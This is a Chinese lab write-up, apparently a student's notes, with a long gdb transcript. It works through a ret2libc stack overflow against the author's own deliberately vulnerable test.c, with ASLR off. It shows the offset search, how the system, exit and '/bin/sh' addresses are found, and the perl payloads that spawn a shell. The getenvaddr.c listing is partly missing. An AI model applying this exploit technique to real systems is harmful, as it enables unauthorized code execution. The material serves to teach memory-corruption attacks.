确定返回值的位置(16字节对齐) 法1:看fun函数汇编的那个距离ebp的偏移进行推测 法2:根据main函数汇编调用fun函数的指令的下一条指令结合内存进行调试 编译时正常编译,即16字节对齐,这个时候地址会有偏差,只需要找到那个偏差就可以了 说明:加粗的是输入的指令和自己的笔记,红色的是一些关键的数据 ningan@ubuntu:~$ sudo sysctl -w kernel.randomize_va_space=0 [sudo] password for ningan: kernel.randomize_va_space = 0 ningan@ubuntu:~$ cd /home/ningan/anan/ret2libc ningan@ubuntu:~/anan/ret2libc$ gcc -g -fno-stack-protector -o test test.c //关闭栈保护,但是没有加-z execstack,说明堆栈不可执行,没有加-m32,因为我们是在32位环境下执行的,不用考虑这个问题 ningan@ubuntu:~/anan/ret2libc$ gdb -q test Reading symbols from test...done. (gdb) r `perl -e "print 'A'x128,'B'x4"` //注意这种输入方式 Starting program: /home/ningan/anan/ret2libc/test `perl -e "print 'A'x128,'B'x4"` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB [Inferior 1 (process 2370) exited normally] (gdb) r `perl -e "print 'A'x132,'B'x4"` Starting program: /home/ningan/anan/ret2libc/test `perl -e "print 'A'x132,'B'x4"` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0xffff8a2a in ?? () //如果编译时加了参数-mpreferred-stack-boundary=2,这个时候就是0x42424242了,向下查找问题 (gdb) x/50x *buffer 0x0: Cannot access memory at address 0x0 (gdb) list 1 /*test.c */ 2 #include <stdio.h> 3 #include <string.h> 4 5 void fun(char *p) { 6 7 char buffer[128]; 8 strcpy(buffer, p); 9 printf("buffer points to:%s\n", buffer); 10 } (gdb) b 8 Breakpoint 1 at 0x8048444: file test.c, line 8. (gdb) x/50x *buffer 0x0: Cannot access memory at address 0x0 (gdb) r `perl -e "print 'A'x132,'B'x4"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e "print 'A'x132,'B'x4"` Breakpoint 1, fun (p=0xbffff278 'A' <repeats 132 times>, "BBBB") at test.c:8 8 strcpy(buffer, p); (gdb) x/50x *buffer 0x74: Cannot access memory at address 0x74 (gdb) x/50x buffer //这是在buffer中复制数据之前buffer的内存 0xbfffef30: 0xb7fffa74 0x00000001 0xb7fd54a0 0x00000001 0xbfffef40: 0x00000000 0x00000001 0xb7fff918 0xb7fff000 0xbfffef50: 0x00000000 0x00000000 0xb7fe4a70 0xb7fffc08 0xbfffef60: 0xb7ffed00 0xbffff090 0x000000e0 0x00000000 0xbfffef70: 0xb7fff000 0xb7fff918 0xbfffef90 0x08048254 0xbfffef80: 0x00000000 0xbffff024 0xb7fbb000 0xb7eeff17 0xbfffef90: 0xffffffff 0x0000002f 0xb7e15dc8 0xb7fd51b0 0xbfffefa0: 0x00000001 0x00004000 0xb7fbb000 0xb7e211f0 0xbfffefb0: 0x00000002 0x00000000 0xbfffefd8 0x08048497 0xbfffefc0: 0xbffff278 0xbffff084 0xbffff090 0x080484d1 0xbfffefd0: 0xb7fbb3dc 0xbfffeff0 0x00000000 0xb7e21637 0xbfffefe0: 0xb7fbb000 0xb7fbb000 0x00000000 0xb7e21637 0xbfffeff0: 0x00000002 0xbffff084 (gdb) info register //感觉查看这个没什么用,不过还是放在这,万一有什么重要信息 eax 0xbffff278 -1073745288 ecx 0xbfffeff0 -1073745936 edx 0xbffff014 -1073745900 ebx 0x0 0 esp 0xbfffef30 0xbfffef30 ebp 0xbfffefb8 0xbfffefb8 esi 0xb7fbb000 -1208242176 edi 0xb7fbb000 -1208242176 eip 0x8048444 0x8048444 <fun+9> //这个地方eip里存的值和继续执行了一步之后eip里存的值不一样,我觉得可能是因为这是单步执行会影响,我们看的时候还是看main函数的那个地址就好了 (gdb) n //继续执行,这一步执行完了复制操作 9 printf("buffer points to:%s\n", buffer); (gdb) x/50x buffer //查看这个时候buffer的内存 0xbfffef30: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef40: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef50: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef60: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef70: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef80: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef90: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffefa0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffefb0: 0x41414141 0x42424242 0xbfffef00 0x08048497 0xbfffefc0: 0xbffff278 0xbffff084 0xbffff090 0x080484d1 0xbfffefd0: 0xb7fbb3dc 0xbfffeff0 0x00000000 0xb7e21637 0xbfffefe0: 0xb7fbb000 0xb7fbb000 0x00000000 0xb7e21637 0xbfffeff0: 0x00000002 0xbffff084 //我们发现这个位置被填入了BBBB,但是之前没有正确显示,说明这个位置肯定有点问题 //认真思考一下,eip里存的到底是什么呢? //存的是main函数调用fun函数那条指令的下一条指令,所以我们将重点放在main函数的汇编里面(在下面,这么直接摘过来) //0x08048492 <+31>: call 0x804843b <fun> //0x08048497 <+36>: add $0x10,%esp //我们发现那个地址处应该存的是0x08048497,看上面,所以我们修改错了,把之前的'A'x132 + 8,即在buffer[128]的基础上加了12 //修改指令重新尝试(在下面),发现成功了出现了下面的字段 //Program received signal SIGSEGV, Segmentation fault. //0x42424242 in ?? ()" (gdb) info register eax 0xbfffef30 -1073746128 ecx 0xbffff300 -1073745152 edx 0xbfffefb8 -1073745992 ebx 0x0 0 esp 0xbfffef30 0xbfffef30 ebp 0xbfffefb8 0xbfffefb8 esi 0xb7fbb000 -1208242176 edi 0xb7fbb000 -1208242176 eip 0x8048459 0x8048459 <fun+30> eflags 0x286 [ PF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) disass fun Dump of assembler code for function fun: 0x0804843b <+0>: push %ebp 0x0804843c <+1>: mov %esp,%ebp 0x0804843e <+3>: sub $0x88,%esp 0x08048444 <+9>: sub $0x8,%esp 0x08048447 <+12>: pushl 0x8(%ebp) 0x0804844a <+15>: lea -0x88(%ebp),%eax 其实这句话应该也能看出来,buffer距离ebp 128+8个字节,距离ret 128+12=140个字节,所以A要用140个 之前那个ret2libc就是这样子看的呀 0x08048450 <+21>: push %eax 0x08048451 <+22>: call 0x8048310 <strcpy@plt> 0x08048456 <+27>: add $0x10,%esp 0x08048459 <+30>: sub $0x8,%esp 0x0804845c <+33>: lea -0x88(%ebp),%eax 0x08048462 <+39>: push %eax 0x08048463 <+40>: push $0x8048530 0x08048468 <+45>: call 0x8048300 <printf@plt> 0x0804846d <+50>: add $0x10,%esp 0x08048470 <+53>: nop 0x08048471 <+54>: leave 0x08048472 <+55>: ret End of assembler dump. (gdb) disass main Dump of assembler code for function main: 0x08048473 <+0>: lea 0x4(%esp),%ecx 0x08048477 <+4>: and $0xfffffff0,%esp 0x0804847a <+7>: pushl -0x4(%ecx) 0x0804847d <+10>: push %ebp 0x0804847e <+11>: mov %esp,%ebp 0x08048480 <+13>: push %ecx 0x08048481 <+14>: sub $0x4,%esp 0x08048484 <+17>: mov %ecx,%eax 0x08048486 <+19>: mov 0x4(%eax),%eax 0x08048489 <+22>: add $0x4,%eax 0x0804848c <+25>: mov (%eax),%eax 0x0804848e <+27>: sub $0xc,%esp 0x08048491 <+30>: push %eax 0x08048492 <+31>: call 0x804843b <fun> 0x08048497 <+36>: add $0x10,%esp 0x0804849a <+39>: mov $0x0,%eax 0x0804849f <+44>: mov -0x4(%ebp),%ecx 0x080484a2 <+47>: leave 0x080484a3 <+48>: lea -0x4(%ecx),%esp 0x080484a6 <+51>: ret End of assembler dump. (gdb) r `perl -e "print 'A'x140,'B'x4"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e "print 'A'x140,'B'x4"` Breakpoint 1, fun (p=0xbffff270 'A' <repeats 140 times>, "BBBB") at test.c:8 8 strcpy(buffer, p); (gdb) clear //清除所有断点 Deleted breakpoint 1 (gdb) r `perl -e "print 'A'x140,'B'x4"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e "print 'A'x140,'B'x4"` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () //终于出现这个样子了,自己尝试了好多次,终于成功了,开心 确定三个地址(system、exit、system参数) //找到问题了,再检验一下 (gdb) list 3 #include <string.h> 4 5 void fun(char *p) { 6 7 char buffer[128]; 8 strcpy(buffer, p); 9 printf("buffer points to:%s\n", buffer); 10 } 11 12 int main(int argc, char **argv, char *envp[]) { (gdb) b 8 Breakpoint 2 at 0x8048444: file test.c, line 8. (gdb) r `perl -e "print 'A'x140,'B'x4"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e "print 'A'x140,'B'x4"` Breakpoint 2, fun (p=0xbffff270 'A' <repeats 140 times>, "BBBB") at test.c:8 8 strcpy(buffer, p); (gdb) x/50x buffer 0xbfffef30: 0xb7fffa74 0x00000001 0xb7fd54a0 0x00000001 0xbfffef40: 0x00000000 0x00000001 0xb7fff918 0xb7fff000 0xbfffef50: 0x00000000 0x00000000 0xb7fe4a70 0xb7fffc08 0xbfffef60: 0xb7ffed00 0xbffff090 0x000000e0 0x00000000 0xbfffef70: 0xb7fff000 0xb7fff918 0xbfffef90 0x08048254 0xbfffef80: 0x00000000 0xbffff024 0xb7fbb000 0xb7eeff17 0xbfffef90: 0xffffffff 0x0000002f 0xb7e15dc8 0xb7fd51b0 0xbfffefa0: 0x00000001 0x00004000 0xb7fbb000 0xb7e211f0 0xbfffefb0: 0x00000002 0x00000000 0xbfffefd8 0x08048497 0xbfffefc0: 0xbffff270 0xbffff084 0xbffff090 0x080484d1 0xbfffefd0: 0xb7fbb3dc 0xbfffeff0 0x00000000 0xb7e21637 0xbfffefe0: 0xb7fbb000 0xb7fbb000 0x00000000 0xb7e21637 0xbfffeff0: 0x00000002 0xbffff084 (gdb) n 9 printf("buffer points to:%s\n", buffer); (gdb) x/50x buffer 0xbfffef30: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef40: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef50: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef60: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef70: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef80: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef90: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffefa0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffefb0: 0x41414141 0x41414141 0x41414141 0x42424242 //正确填充,找到了填充位置 0xbfffefc0: 0xbffff200 0xbffff084 0xbffff090 0x080484d1 0xbfffefd0: 0xb7fbb3dc 0xbfffeff0 0x00000000 0xb7e21637 0xbfffefe0: 0xb7fbb000 0xb7fbb000 0x00000000 0xb7e21637 0xbfffeff0: 0x00000002 0xbffff084 (gdb) disass main Dump of assembler code for function main: 0x08048473 <+0>: lea 0x4(%esp),%ecx 0x08048477 <+4>: and $0xfffffff0,%esp 0x0804847a <+7>: pushl -0x4(%ecx) 0x0804847d <+10>: push %ebp 0x0804847e <+11>: mov %esp,%ebp 0x08048480 <+13>: push %ecx 0x08048481 <+14>: sub $0x4,%esp 0x08048484 <+17>: mov %ecx,%eax 0x08048486 <+19>: mov 0x4(%eax),%eax 0x08048489 <+22>: add $0x4,%eax 0x0804848c <+25>: mov (%eax),%eax 0x0804848e <+27>: sub $0xc,%esp 0x08048491 <+30>: push %eax 0x08048492 <+31>: call 0x804843b <fun> 0x08048497 <+36>: add $0x10,%esp 0x0804849a <+39>: mov $0x0,%eax 0x0804849f <+44>: mov -0x4(%ebp),%ecx 0x080484a2 <+47>: leave 0x080484a3 <+48>: lea -0x4(%ecx),%esp 0x080484a6 <+51>: ret End of assembler dump. (gdb) p system $5 = {<text variable, no debug info>} 0xb7e43da0 <__libc_system> (gdb) p exit $6 = {<text variable, no debug info>} 0xb7e379d0 <__GI_exit> (gdb) x/500sb $ebp ... //这个地方特别长,就省略了,有另外一种方法 //(gdb) p envp //(gdb) x/500sb *envp的那个地址 //这个就会短一点 0xbffff399: "VTE_VERSION=4205" 0xbffff3aa: "TERM=xterm-256color" 0xbffff3be: "SHELL=/bin/bash" 0xbffff3ce: "QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1" ... (gdb) x/s 0xbffff3be+6 //这个6是SHELL=的长度 0xbffff3c4: "/bin/bash" (gdb) r `perl -e "print 'A'x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf""` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e "print 'A'x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf""` Breakpoint 2, fun (p=0xbffff250 'A' <repeats 140 times>, "xa0x3dxe4xb7xd0x79xe3xb7xc4xf3xffxbf") at test.c:8 8 strcpy(buffer, p); (gdb) clear //清除断点 Deleted breakpoint 2 (gdb) r `perl -e "print 'A'x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf""` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e "print 'A'x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf""` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxa0x3dxe4xb7xd0x79xe3xb7xc4xf3xffxbf Program received signal SIGSEGV, Segmentation fault. 0x78306178 in ?? () (gdb) r `perl -e 'print 'A'x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e 'print 'A'x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf"'` No comma allowed after filehandle at -e line 1. Program received signal SIGSEGV, Segmentation fault. __strcpy_ssse3 () at ../sysdeps/i386/i686/multiarch/strcpy-ssse3.S:84 84 ../sysdeps/i386/i686/multiarch/strcpy-ssse3.S: No such file or directory. (gdb) r `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y������ ningan@ubuntu:~/anan/ret2libc$ gdb -q test (gdb) r `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf"'` Starting program: /home/ningan/anan/ret2libc/test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y������ [Inferior 1 (process 2603) exited normally] (gdb) quit //前面的几步是为了测试perl的语法,不知道那个才是正确的,但是用SHELL="/bin/bash"作为环境变量是没有成功的 //所以下面开始自己导入环境变量"/bin/sh",并在gdb中查找其地址 ningan@ubuntu:~/anan/ret2libc$ export SHELL="/bin/sh" //这个地方用了SHELL=,但是后面就后悔了,所以以后用个别的名称,TEST ningan@ubuntu:~/anan/ret2libc$ echo $SHELL /bin/sh ningan@ubuntu:~/anan/ret2libc$ gdb -q test Reading symbols from test...done. (gdb) list 1 /*test.c */ 2 #include <stdio.h> 3 #include <string.h> 4 5 void fun(char *p) { 6 7 char buffer[128]; 8 strcpy(buffer, p); 9 printf("buffer points to:%s\n", buffer); 10 } (gdb) 11 12 int main(int argc, char **argv, char *envp[]) { 13 14 fun(argv[1]); 15 16 return 0; 17 } 18 (gdb) b 14 //这个地方选14,是因为这一句在main后面,这样才能显示出envp的地址 Breakpoint 1 at 0x8048486: file test.c, line 14. (gdb) r `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf"'` Starting program: /home/ningan/anan/ret2libc/test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf"'` Breakpoint 1, main (argc=2, argv=0xbffff074, envp=0xbffff080) at test.c:14 14 fun(argv[1]); (gdb) x/500sx *0xbffff080 //错误形式 0xbffff303: 0x5353454c 0x4e45504f 0x2f207c3d 0x2f727375 0xbffff313: 0x2f6e6962 0x7373656c 0x65706970 0x00732520 ... (gdb) x/500sb *0xbffff080 ... 0xbffffd6f: "XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/ningan" 0xbffffda1: "SSH_AUTH_SOCK=/run/user/1000/keyring/ssh" 0xbffffdca: "SHELL=/bin/sh" 0xbffffdd8: "QT_ACCESSIBILITY=1" 0xbffffdeb: "GDMSESSION=ubuntu" ... (gdb) x/sx 0xbffffdca+6 //错误形式 0xbffffdd0: 0x6e69622f (gdb) x/sb 0xbffffdca+6 0xbffffdd0: "/bin/sh" (gdb) r `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xd0\xfd\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xd0\xfd\xff\xbf"'` Breakpoint 1, main (argc=2, argv=0xbffff074, envp=0xbffff080) at test.c:14 14 fun(argv[1]); (gdb) clear Deleted breakpoint 1 (gdb) r `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xd0\xfd\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xd0\xfd\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y������ $ exit //成功开出一个shell [Inferior 1 (process 2634) exited normally] (gdb) quit ningan@ubuntu:~/anan/ret2libc$ //但是这个地方有一个问题,这个shell是在gdb中开出来的,所以自己想尝试一下直接运行可不可以 ningan@ubuntu:~/anan/ret2libc$ ./test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xd0\xfd\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y������ ningan@ubuntu:~/anan/ret2libc$ ./test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc4\xf3\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y������ ningan@ubuntu:~/anan/ret2libc$ /*getenvaddr.c*/ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char const *argv[]) { char *ptr;
printf("%s will be at %p\n", argv[1], ptr); return 0; } ningan@ubuntu:~/anan/ret2libc$ gcc -g -o getenvaddr getenvaddr.c ningan@ubuntu:~/anan/ret2libc$ ./getenvaddr SHELL //这就是建议为什么之前自己添加的时候不要用这个变量,真的是会有歧义 SHELL will be at 0xbffff3c5 ningan@ubuntu:~/anan/ret2libc$ ./test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc5\xf3\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y������ sh: 1: =4205: not found ningan@ubuntu:~/anan/ret2libc$ export TEST="/bin/sh" ningan@ubuntu:~/anan/ret2libc$ echo $TEST /bin/sh ningan@ubuntu:~/anan/ret2libc$ ./getenvaddr TEST TEST will be at 0xbffffd3f ningan@ubuntu:~/anan/ret2libc$ ./test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\x3f\xfd\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y��?��� sh: 1: ubuntu: not found 按理说这个应该是可以的呀,但是不明白为什么不行 //按照同样的方法在gdb中查找这个变量的地址,方法这里就不赘述了 ... 0xbffffd94: "SSH_AUTH_SOCK=/run/user/1000/keyring/ssh" 0xbffffdbd: "TEST=/bin/sh" 0xbffffdca: "SHELL=/bin/sh" 0xbffffdd8: "QT_ACCESSIBILITY=1" ... (gdb) x/sb 0xbffffdbd+5 0xbffffdc2: "/bin/sh" ...... (gdb) r `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc2\xfd\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ningan/anan/ret2libc/test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc2\xfd\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y������ $ exit [Inferior 1 (process 2774) exited normally] (gdb) quit ningan@ubuntu:~/anan/ret2libc$ ./getenvaddr TEST TEST will be at 0xbffffd3f ningan@ubuntu:~/anan/ret2libc$ ./test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\x3f\xfd\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y��?��� sh: 1: ubuntu: not found ningan@ubuntu:~/anan/ret2libc$ ./test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xc2\xfd\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y������ sh: 1: S: not found ningan@ubuntu:~/anan/ret2libc$ ./getenvaddr SHELL SHELL will be at 0xbffff3b8 ningan@ubuntu:~/anan/ret2libc$ ./test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\xb8\xf3\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y㷸��� sh: 1: =4205: not found ningan@ubuntu:~/anan/ret2libc$ ls -la /bin/sh lrwxrwxrwx 1 root root 4 Apr 30 20:03 /bin/sh -> dash ningan@ubuntu:~/anan/ret2libc$ which sh /bin/sh ningan@ubuntu:~/anan/ret2libc$ vim getenvaddr.c ningan@ubuntu:~/anan/ret2libc$ ./getenvaddr SHELL SHELL will be at 0xbffff3b8 ningan@ubuntu:~/anan/ret2libc$ ./getenvaddr TEST TEST will be at 0xbffffd3f ningan@ubuntu:~/anan/ret2libc$ ./test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\x3f\xfd\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y��?��� sh: 1: ubuntu: not found ningan@ubuntu:~/anan/ret2libc$ sudo apt-get install dash [sudo] password for ningan: Reading package lists... Done Building dependency tree Reading state information... Done dash is already the newest version (0.5.8-2.1ubuntu2). 0 upgraded, 0 newly installed, 0 to remove and 16 not upgraded. ningan@ubuntu:~/anan/ret2libc$ ./test `perl -e 'print "A"x140,"\xa0\x3d\xe4\xb7","\xd0\x79\xe3\xb7","\x3f\xfd\xff\xbf"'` buffer points to:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y��?��� //最后就是,做了这么多,还是没有成功,不明白是为什么?求大神们解答 第二天中午睡了一觉,梦中突然找到了原因  自己在运行getenvaddr这个函数的时候,参数够,没有加./test,所以输出的环境变量是getenvaddr函数的环境变量的地址, 没有加偏移,所以一直运行不成功。啦啦啦,现在成功了! |